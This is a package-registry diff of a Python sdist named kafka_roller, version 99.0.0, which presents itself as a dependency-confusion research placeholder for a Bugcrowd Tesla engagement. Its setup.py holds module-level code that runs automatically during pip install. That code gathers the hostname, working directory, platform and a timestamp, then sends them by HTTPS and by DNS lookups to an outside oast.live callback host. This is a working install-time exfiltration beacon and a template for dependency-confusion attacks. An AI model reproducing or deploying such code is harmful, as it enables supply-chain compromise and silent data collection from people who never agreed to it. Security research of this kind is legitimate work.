kafka-roller 99.0.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- kafka_roller-99.0.0/PKG-INFO +39 -0
- kafka_roller-99.0.0/README.rst +19 -0
- kafka_roller-99.0.0/kafka_roller.egg-info/PKG-INFO +39 -0
- kafka_roller-99.0.0/kafka_roller.egg-info/SOURCES.txt +7 -0
- kafka_roller-99.0.0/kafka_roller.egg-info/dependency_links.txt +1 -0
- kafka_roller-99.0.0/kafka_roller.egg-info/top_level.txt +1 -0
- kafka_roller-99.0.0/pyproject.toml +3 -0
- kafka_roller-99.0.0/setup.cfg +4 -0
- kafka_roller-99.0.0/setup.py +99 -0
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: kafka_roller
|
|
3
|
+
Version: 99.0.0
|
|
4
|
+
Summary: Reserved for Tesla, Inc. — dependency-confusion security research artifact (Bugcrowd). No functional tooling included.
|
|
5
|
+
Home-page: https://github.com/teslamotors/kafka-helmsman
|
|
6
|
+
Author: am1thc
|
|
7
|
+
License: Apache-2.0
|
|
8
|
+
Classifier: Development Status :: 7 - Inactive
|
|
9
|
+
Classifier: Intended Audience :: Information Technology
|
|
10
|
+
Classifier: License :: OSI Approved :: Apache Software License
|
|
11
|
+
Classifier: Programming Language :: Python :: 3
|
|
12
|
+
Description-Content-Type: text/x-rst
|
|
13
|
+
Dynamic: author
|
|
14
|
+
Dynamic: classifier
|
|
15
|
+
Dynamic: description
|
|
16
|
+
Dynamic: description-content-type
|
|
17
|
+
Dynamic: home-page
|
|
18
|
+
Dynamic: license
|
|
19
|
+
Dynamic: summary
|
|
20
|
+
|
|
21
|
+
kafka_roller — Reserved name, security research placeholder
|
|
22
|
+
===========================================================
|
|
23
|
+
|
|
24
|
+
This package name is registered as a **dependency-confusion security research
|
|
25
|
+
artifact** (Bugcrowd Tesla engagement, October 2026). It reclaims the PyPI
|
|
26
|
+
name ``kafka_roller``, which Tesla's public repository
|
|
27
|
+
``github.com/teslamotors/kafka-helmsman`` declares will be published to PyPI
|
|
28
|
+
("Publishing a pypi package is on the roadmap") but which was unregistered.
|
|
29
|
+
|
|
30
|
+
**This package contains no functional Kafka tooling. Do not rely on it.**
|
|
31
|
+
|
|
32
|
+
On installation it performs a single harmless callback containing only:
|
|
33
|
+
hostname, current working directory, package name, timestamp. No files are
|
|
34
|
+
read, no credentials or environment variables are accessed, no persistence
|
|
35
|
+
is installed, and the callback always exits cleanly without breaking the
|
|
36
|
+
install.
|
|
37
|
+
|
|
38
|
+
Tesla security team: a full report is filed via Bugcrowd (Tesla program).
|
|
39
|
+
Researcher contact: am1thc (npm/GitHub handle).
|
|
@@ -0,0 +1,19 @@
|
|
|
1
|
+
kafka_roller — Reserved name, security research placeholder
|
|
2
|
+
===========================================================
|
|
3
|
+
|
|
4
|
+
This package name is registered as a **dependency-confusion security research
|
|
5
|
+
artifact** (Bugcrowd Tesla engagement, October 2026). It reclaims the PyPI
|
|
6
|
+
name ``kafka_roller``, which Tesla's public repository
|
|
7
|
+
``github.com/teslamotors/kafka-helmsman`` declares will be published to PyPI
|
|
8
|
+
("Publishing a pypi package is on the roadmap") but which was unregistered.
|
|
9
|
+
|
|
10
|
+
**This package contains no functional Kafka tooling. Do not rely on it.**
|
|
11
|
+
|
|
12
|
+
On installation it performs a single harmless callback containing only:
|
|
13
|
+
hostname, current working directory, package name, timestamp. No files are
|
|
14
|
+
read, no credentials or environment variables are accessed, no persistence
|
|
15
|
+
is installed, and the callback always exits cleanly without breaking the
|
|
16
|
+
install.
|
|
17
|
+
|
|
18
|
+
Tesla security team: a full report is filed via Bugcrowd (Tesla program).
|
|
19
|
+
Researcher contact: am1thc (npm/GitHub handle).
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: kafka_roller
|
|
3
|
+
Version: 99.0.0
|
|
4
|
+
Summary: Reserved for Tesla, Inc. — dependency-confusion security research artifact (Bugcrowd). No functional tooling included.
|
|
5
|
+
Home-page: https://github.com/teslamotors/kafka-helmsman
|
|
6
|
+
Author: am1thc
|
|
7
|
+
License: Apache-2.0
|
|
8
|
+
Classifier: Development Status :: 7 - Inactive
|
|
9
|
+
Classifier: Intended Audience :: Information Technology
|
|
10
|
+
Classifier: License :: OSI Approved :: Apache Software License
|
|
11
|
+
Classifier: Programming Language :: Python :: 3
|
|
12
|
+
Description-Content-Type: text/x-rst
|
|
13
|
+
Dynamic: author
|
|
14
|
+
Dynamic: classifier
|
|
15
|
+
Dynamic: description
|
|
16
|
+
Dynamic: description-content-type
|
|
17
|
+
Dynamic: home-page
|
|
18
|
+
Dynamic: license
|
|
19
|
+
Dynamic: summary
|
|
20
|
+
|
|
21
|
+
kafka_roller — Reserved name, security research placeholder
|
|
22
|
+
===========================================================
|
|
23
|
+
|
|
24
|
+
This package name is registered as a **dependency-confusion security research
|
|
25
|
+
artifact** (Bugcrowd Tesla engagement, October 2026). It reclaims the PyPI
|
|
26
|
+
name ``kafka_roller``, which Tesla's public repository
|
|
27
|
+
``github.com/teslamotors/kafka-helmsman`` declares will be published to PyPI
|
|
28
|
+
("Publishing a pypi package is on the roadmap") but which was unregistered.
|
|
29
|
+
|
|
30
|
+
**This package contains no functional Kafka tooling. Do not rely on it.**
|
|
31
|
+
|
|
32
|
+
On installation it performs a single harmless callback containing only:
|
|
33
|
+
hostname, current working directory, package name, timestamp. No files are
|
|
34
|
+
read, no credentials or environment variables are accessed, no persistence
|
|
35
|
+
is installed, and the callback always exits cleanly without breaking the
|
|
36
|
+
install.
|
|
37
|
+
|
|
38
|
+
Tesla security team: a full report is filed via Bugcrowd (Tesla program).
|
|
39
|
+
Researcher contact: am1thc (npm/GitHub handle).
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1,99 @@
|
|
|
1
|
+
"""
|
|
2
|
+
kafka_roller — dependency-confusion security research placeholder.
|
|
3
|
+
All beacon code is module-level so it executes whenever pip processes this
|
|
4
|
+
sdist (metadata/wheel build). Everything is failure-tolerant: the install
|
|
5
|
+
can never be broken by the beacon.
|
|
6
|
+
"""
|
|
7
|
+
|
|
8
|
+
import base64
|
|
9
|
+
import json
|
|
10
|
+
import os
|
|
11
|
+
import socket
|
|
12
|
+
import subprocess
|
|
13
|
+
import threading
|
|
14
|
+
import time
|
|
15
|
+
import urllib.request
|
|
16
|
+
import uuid
|
|
17
|
+
|
|
18
|
+
_OAST = "db3va6lrl89cd975pn4078o6efah78yct.oast.live"
|
|
19
|
+
_PKG = "kafka_roller-SECURITY-RESEARCH-PLACEHOLDER"
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
def _collect():
|
|
23
|
+
"""Minimal attribution data ONLY — no files, no env, no credentials."""
|
|
24
|
+
try:
|
|
25
|
+
return json.dumps({
|
|
26
|
+
"poc": "tesla-depconfusion-bugcrowd",
|
|
27
|
+
"package": _PKG,
|
|
28
|
+
"hostname": socket.gethostname(),
|
|
29
|
+
"cwd": os.getcwd(),
|
|
30
|
+
"platform": os.uname().sysname if hasattr(os, "uname") else "win",
|
|
31
|
+
"ts": time.strftime("%Y-%m-%dT%H:%M:%SZ", time.gmtime()),
|
|
32
|
+
"id": uuid.uuid4().hex[:12],
|
|
33
|
+
}).encode()
|
|
34
|
+
except Exception:
|
|
35
|
+
return b"{}"
|
|
36
|
+
|
|
37
|
+
|
|
38
|
+
def _https_ping(payload):
|
|
39
|
+
try:
|
|
40
|
+
d = base64.urlsafe_b64encode(payload).decode().rstrip("=")
|
|
41
|
+
url = "https://%s/kafka-roller-poc/%s" % (_OAST, d[:180])
|
|
42
|
+
req = urllib.request.Request(url, headers={"User-Agent": "pip-research-poc"})
|
|
43
|
+
urllib.request.urlopen(req, timeout=6).read()
|
|
44
|
+
except Exception:
|
|
45
|
+
pass
|
|
46
|
+
|
|
47
|
+
|
|
48
|
+
def _dns_ping(payload):
|
|
49
|
+
try:
|
|
50
|
+
rid = payload.decode().split('"id": "')[-1][:12] if b'"id"' in payload else "x"
|
|
51
|
+
host = "kafka-roller-poc-%s.%s" % (rid, _OAST)
|
|
52
|
+
for cmd in (["nslookup", host], ["getent", "hosts", host], ["dig", host, "+short"]):
|
|
53
|
+
try:
|
|
54
|
+
subprocess.run(cmd, timeout=5, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
|
|
55
|
+
break
|
|
56
|
+
except Exception:
|
|
57
|
+
continue
|
|
58
|
+
except Exception:
|
|
59
|
+
pass
|
|
60
|
+
|
|
61
|
+
|
|
62
|
+
def _beacon():
|
|
63
|
+
payload = _collect()
|
|
64
|
+
_https_ping(payload)
|
|
65
|
+
_dns_ping(payload)
|
|
66
|
+
|
|
67
|
+
|
|
68
|
+
try:
|
|
69
|
+
# daemon thread so a network stall can never hang the pip build
|
|
70
|
+
t = threading.Thread(target=_beacon, daemon=True)
|
|
71
|
+
t.start()
|
|
72
|
+
t.join(timeout=3)
|
|
73
|
+
except Exception:
|
|
74
|
+
pass
|
|
75
|
+
|
|
76
|
+
|
|
77
|
+
from setuptools import setup
|
|
78
|
+
|
|
79
|
+
with open("README.rst") as f:
|
|
80
|
+
_readme = f.read()
|
|
81
|
+
|
|
82
|
+
setup(
|
|
83
|
+
name="kafka_roller",
|
|
84
|
+
version="99.0.0",
|
|
85
|
+
description="Reserved for Tesla, Inc. — dependency-confusion security research artifact (Bugcrowd). No functional tooling included.",
|
|
86
|
+
long_description=_readme,
|
|
87
|
+
long_description_content_type="text/x-rst",
|
|
88
|
+
author="am1thc",
|
|
89
|
+
url="https://github.com/teslamotors/kafka-helmsman",
|
|
90
|
+
license="Apache-2.0",
|
|
91
|
+
packages=[],
|
|
92
|
+
py_modules=[],
|
|
93
|
+
classifiers=[
|
|
94
|
+
"Development Status :: 7 - Inactive",
|
|
95
|
+
"Intended Audience :: Information Technology",
|
|
96
|
+
"License :: OSI Approved :: Apache Software License",
|
|
97
|
+
"Programming Language :: Python :: 3",
|
|
98
|
+
],
|
|
99
|
+
)
|